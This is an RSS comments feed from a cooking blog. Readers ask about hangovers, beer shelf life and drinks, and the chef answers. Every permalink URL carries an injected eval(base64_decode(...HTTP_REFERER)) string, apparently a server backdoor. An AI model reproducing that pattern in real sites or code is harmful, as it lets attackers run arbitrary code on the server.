Comments for webrestaurateur.com http://webrestaurateur.com a gastronomic voyeur, & chef Thu, 28 Apr 2011 20:15:59 +0000 hourly 1 Comment on The Psychology of Cooking, Professionally by Barton http://webrestaurateur.com/2010/07/31/the-psychology-of-cooking-professionally/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-67 Barton Thu, 28 Apr 2011 20:15:59 +0000 http://webrestaurateur.com/?p=315#comment-67 I blame Bourdain, he made cooking sound so cool to a 13 yro, maybe that book should come with a warning. I found it as a creative outlet, it has taken me around the world but I struggle for inspiration all the time. Fishing and foraging is what keeps me cooking as i love the connection to food I blame Bourdain, he made cooking sound so cool to a 13 yro, maybe that book should come with a warning. I found it as a creative outlet, it has taken me around the world but I struggle for inspiration all the time. Fishing and foraging is what keeps me cooking as i love the connection to food

]]> Comment on Three important considerations by chefhenry http://webrestaurateur.com/2009/03/16/three-important-considerations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-9 chefhenry Wed, 22 Apr 2009 13:17:30 +0000 http://webrestaurateur.com/?p=11#comment-9 I'm sorry, I don't see how you comment is a question at all, could you please reword it, perhaps then I will understand your question. I’m sorry, I don’t see how you comment is a question at all, could you please reword it, perhaps then I will understand your question.

]]> Comment on The Lost Art of Cooking by chefhenry http://webrestaurateur.com/2009/03/23/the-lost-art-of-cooking/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-8 chefhenry Wed, 22 Apr 2009 13:11:36 +0000 http://webrestaurateur.com/?p=28#comment-8 Well, it could be a couple of things, #1 your body chemistry allows you to get drunk on very little so your body does not have to react to all the toxins, #2 you drink enough that there is always alcohol in your system and you do not suffer withdrawl, #3 you drink regularily enough that feeling poorly is the norm, maybe you do have a hangover and you don't even realize it. Well, it could be a couple of things, #1 your body chemistry allows you to get drunk on very little so your body does not have to react to all the toxins, #2 you drink enough that there is always alcohol in your system and you do not suffer withdrawl, #3 you drink regularily enough that feeling poorly is the norm, maybe you do have a hangover and you don’t even realize it.

]]> Comment on Three important considerations by flundangulups http://webrestaurateur.com/2009/03/16/three-important-considerations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-7 flundangulups Wed, 22 Apr 2009 09:13:40 +0000 http://webrestaurateur.com/?p=11#comment-7 Hello. Just one more question. Realy, please, help me. Rana sugars which has its own distellery,is going to launch a few brands of whiskey and rum? Thenks, bro. I am Waiting for answer!!! Hello. Just one more question. Realy, please, help me.
Rana sugars which has its own distellery,is going to launch a few brands of whiskey and rum?

Thenks, bro. I am Waiting for answer!!!

]]> Comment on The Lost Art of Cooking by flundangulups http://webrestaurateur.com/2009/03/23/the-lost-art-of-cooking/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-6 flundangulups Wed, 22 Apr 2009 05:53:58 +0000 http://webrestaurateur.com/?p=28#comment-6 Yo!. Just some question. Realy, need your help. Why dont I get hangovers? Thenks. I am Waiting for answer!!! Yo!. Just some question. Realy, need your help.
Why dont I get hangovers?

Thenks. I am Waiting for answer!!!

]]> Comment on Three important considerations by chefhenry http://webrestaurateur.com/2009/03/16/three-important-considerations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-5 chefhenry Tue, 21 Apr 2009 19:08:23 +0000 http://webrestaurateur.com/?p=11#comment-5 As I don't drink anymore I can only reply from memory, as I recall, a bottle of commercially produced beer usually has a shelf life of six months or less, after that the beer loses it's carbonation and tastes pretty bad. Home brews and microbrews and those made without any preservatives will last even less time. As I don’t drink anymore I can only reply from memory, as I recall, a bottle of commercially produced beer usually has a shelf life of six months or less, after that the beer loses it’s carbonation and tastes pretty bad. Home brews and microbrews and those made without any preservatives will last even less time.

]]> Comment on Three important considerations by flundangulups http://webrestaurateur.com/2009/03/16/three-important-considerations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-4 flundangulups Tue, 21 Apr 2009 08:27:28 +0000 http://webrestaurateur.com/?p=11#comment-4 Hi, please, help me. How long will a bottle of beer keep? (unopened)? 100 times thenks. I am vaiting for answer!!! Hi, please, help me.
How long will a bottle of beer keep? (unopened)?

100 times thenks. I am vaiting for answer!!!

]]> Comment on The Lost Art of Cooking by chefhenry http://webrestaurateur.com/2009/03/23/the-lost-art-of-cooking/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-3 chefhenry Tue, 21 Apr 2009 02:28:34 +0000 http://webrestaurateur.com/?p=28#comment-3 Personally I would tend to go with a coffee, or perhaps a juice, but since are asking about after bar hours I would guess that you mean a drink including alcohol so my suggestion is not to mix your beverages too much. When I was a drinker, after hours I would usually continue with whatever had been my beverage of choice that night, for a nice relaxing night at home with some friends I would suggest some wine, late in the evening a brandy or cognac, that way you are not mixing your grain and grapes. Personally I would tend to go with a coffee, or perhaps a juice, but since are asking about after bar hours I would guess that you mean a drink including alcohol so my suggestion is not to mix your beverages too much. When I was a drinker, after hours I would usually continue with whatever had been my beverage of choice that night, for a nice relaxing night at home with some friends I would suggest some wine, late in the evening a brandy or cognac, that way you are not mixing your grain and grapes.

]]> Comment on The Lost Art of Cooking by flundangulups http://webrestaurateur.com/2009/03/23/the-lost-art-of-cooking/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-2 flundangulups Tue, 21 Apr 2009 01:39:17 +0000 http://webrestaurateur.com/?p=28#comment-2 Hi, please, help. Drink Ideas for Friday Nights after the Bar? Thenks, bro. I am vaiting for answer!!! Hi, please, help.
Drink Ideas for Friday Nights after the Bar?

Thenks, bro. I am vaiting for answer!!!

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